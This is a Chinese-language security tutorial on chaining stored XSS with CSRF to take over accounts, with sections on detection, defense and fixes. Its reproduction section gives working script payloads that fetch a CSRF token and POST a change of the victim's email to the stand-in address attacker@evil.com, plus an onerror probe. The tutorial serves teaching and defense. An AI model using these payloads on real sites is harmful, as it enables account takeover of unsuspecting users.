漏洞联动:XSS 打 CSRF 实现账号接管

用存储型 XSS 窃取 CSRF Token 或直接触发敏感请求,把 XSS 与 CSRF 串联成账号接管链,完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

本文的联动利用只在自建靶场进行。在真实站点注入脚本、窃取会话、触发敏感操作可能触犯法律。

一、漏洞原理:为什么 XSS 和 CSRF 能串联

XSS 与 CSRF 的成因不同,但配合起来就是“账号接管链”:

1
2
CSRF:浏览器会自动带 Cookie,服务端信任请求来源
XSS:能在受害者浏览器里执行任意脚本

把两者串联:

1
2
3
4
1. 存储型 XSS 在受害者浏览器执行
2. 脚本代替受害者发起敏感请求(改邮箱/改密/加管理员)
3. 浏览器自动带 Cookie → 服务端认为是用户本人操作
4. 攻击者拿到邮箱/密码重置 → 完全接管账号

关键点:XSS 解决了 CSRF 的“不能读响应、不能带自定义头”的短板,CSRF 又让 XSS 的后果从“弹窗”升级为“账号控制”。

XSS打CSRF账号接管攻击链路图

二、影响与危害

1
2
3
4
账号完全接管(改密、绑定邮箱)
垂直提升(低权限 → 管理员)
批量受影响(存储型 XSS 打所有访问者)
配合钓鱼进一步扩大战果

风险等级:存储型 XSS + 敏感接口无 CSRF 防护时,属于严重

三、利用 / 复现

场景

靶场里有一个支持富文本的留言/资料接口,存在存储型 XSS;同时改邮箱接口只依赖 Cookie,没有校验 CSRF Token。

第一步:确认存储型 XSS

1
<img src=x onerror="alert(document.domain)">

在留言里提交,其他用户打开页面能弹窗,说明存储型 XSS 成立。

第二步:窃取 CSRF Token(如果接口有 Token)

用脚本在受害者上下文里读取 Token 并调用敏感接口:

1
2
3
4
5
6
7
8
9
<script>
fetch('/api/csrf')
  .then(r => r.json())
  .then(d => fetch('/api/change-email', {
    method: 'POST',
    headers: { 'X-CSRF-Token': d.token },
    body: new URLSearchParams({ email: 'attacker@evil.com' })
  }));
</script>

第三步:无 Token 时直接触发

如果接口只认 Cookie,脚本更简单:

1
2
3
<script>
fetch('/api/change-email', {method:'POST', body:new URLSearchParams({email:'attacker@evil.com'})});
</script>

结果验证

1
2
受害者打开页面后,其邮箱被改成攻击者邮箱
攻击者用“忘记密码”接管账号

四、检测

1
2
3
4
日志中找 <script>、onerror、fetch、XMLHttpRequest 特征
同会话内出现“浏览页面 + 异常敏感接口调用”
改邮箱/改密接口的请求来源是页面而非正常表单
多次相同 XSS payload 提交

五、防御

1
2
3
4
输出编码 + CSP(限脚本来源)
敏感接口使用 CSRF Token + SameSite Cookie
HttpOnly 防 Cookie 被读,但 CSRF 仍要 Token
对富文本输入做白名单过滤

六、修复

1
2
3
4
修复 XSS:按上下文编码、启用 CSP、富文本白名单
修复 CSRF:敏感接口校验 Token + SameSite + 二次验证
关键操作(改密/改邮箱/加管理员)强制二次认证
修复后复测:注入脚本不执行、跨站请求被拒

七、小结

XSS 与 CSRF 联动说明:单看一个漏洞可能“中危”,串起来就是“严重”。渗透测试时要习惯把入口漏洞和后续动作连成链,防守方则要同时修掉链路上的每一环。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处